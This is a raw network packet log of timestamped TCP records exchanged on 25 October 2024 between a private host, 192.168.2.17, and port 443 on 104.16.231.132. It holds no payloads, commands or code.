Oct 25, 2024 10:17:31.833329916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833339930 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833365917 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833381891 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833421946 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833467960 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833497047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833507061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833535910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833569050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833606005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833652973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833678961 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833688974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833714962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833731890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833779097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833817959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833847046 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833857059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833883047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833901882 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.833955050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.833996058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834022045 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834032059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834060907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834078074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834127903 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834171057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834198952 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834209919 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834238052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834256887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834305048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834345102 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834377050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834387064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834445000 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834467888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834467888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834491968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834530115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834538937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834568977 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834579945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834609032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834634066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834678888 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834727049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834762096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834772110 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834800005 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834827900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834893942 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834939957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.834965944 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.834975958 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835001945 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835020065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835087061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835130930 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835153103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835163116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835191965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835228920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835282087 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835350990 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835357904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835380077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835417032 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835438967 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835521936 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835576057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835603952 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835614920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835639000 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835655928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835716963 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835764885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835792065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835802078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835827112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835845947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.835911036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835962057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.835994959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836005926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836033106 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836051941 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836118937 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836160898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836188078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836198092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836224079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836245060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836301088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836348057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836374998 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836385965 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836415052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836431980 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836487055 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836534977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836577892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836587906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836613894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836636066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836667061 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836705923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836731911 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836741924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836769104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836787939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836838961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836880922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836911917 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836920977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.836947918 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.836966991 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837008953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837058067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837091923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837102890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837127924 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837152958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837209940 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837249041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837282896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837292910 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837318897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837337971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837383986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837424040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837469101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837485075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837507963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837529898 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837580919 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837632895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837657928 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837667942 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837694883 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837711096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837766886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837805033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837841034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837851048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837876081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837893009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.837954998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.837995052 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838032961 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838043928 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838069916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838089943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838141918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838191032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838217974 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838227987 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838253021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838269949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838336945 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838387966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838413954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838424921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838453054 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838488102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838536978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838582993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838615894 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838627100 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838650942 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838668108 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838738918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838787079 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838819027 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838829994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838855982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838876963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.838936090 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838975906 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.838996887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839006901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839032888 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839051962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839117050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839162111 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839185953 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839195967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839222908 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839241982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839338064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839385986 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839416981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839427948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839452982 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839473009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839518070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839557886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839591026 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839601040 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839643002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839643002 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839690924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839730024 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839756966 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839767933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839792967 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839809895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839857101 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839905977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839931011 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839941025 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.839970112 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.839988947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840039968 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840081930 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840106964 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840116978 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840142965 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840162992 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840235949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840276003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840312004 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840322018 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840347052 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840365887 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840439081 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840487957 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840522051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840533018 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840565920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840583086 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840634108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840675116 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840702057 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840712070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840754986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840754986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840809107 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840850115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840883017 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840893030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.840919971 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840936899 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.840991020 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841041088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841073036 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841084003 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841110945 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841131926 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841201067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841248989 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841276884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841286898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841315031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841334105 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841393948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841439962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841465950 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841475964 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841500998 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841521978 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841590881 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841638088 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841662884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841674089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841698885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841711998 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841716051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841723919 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841779947 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841783047 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841815948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841831923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841861963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841875076 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841908932 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841913939 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841927052 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841936111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841958046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.841974974 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.841986895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842020035 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842022896 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842039108 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842046022 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842057943 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842086077 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842116117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842138052 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842163086 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842201948 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842217922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842237949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842242956 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842276096 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842287064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842323065 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842329979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:31.842363119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:31.842381954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:32.047386885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:32.101624012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:32.311378956 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:32.311451912 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:32.735361099 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:32.735452890 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:33.599328995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:33.599411964 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:34.996051073 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:34.996093988 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:34.996294022 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.008872986 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.008879900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.008893013 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.008951902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.008955956 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009001970 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009015083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009025097 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009038925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009044886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009052992 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009068012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009076118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009088993 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009111881 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:35.009118080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009154081 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:35.009166956 CEST	58442	443	192.168.2.17	104.16.231.132
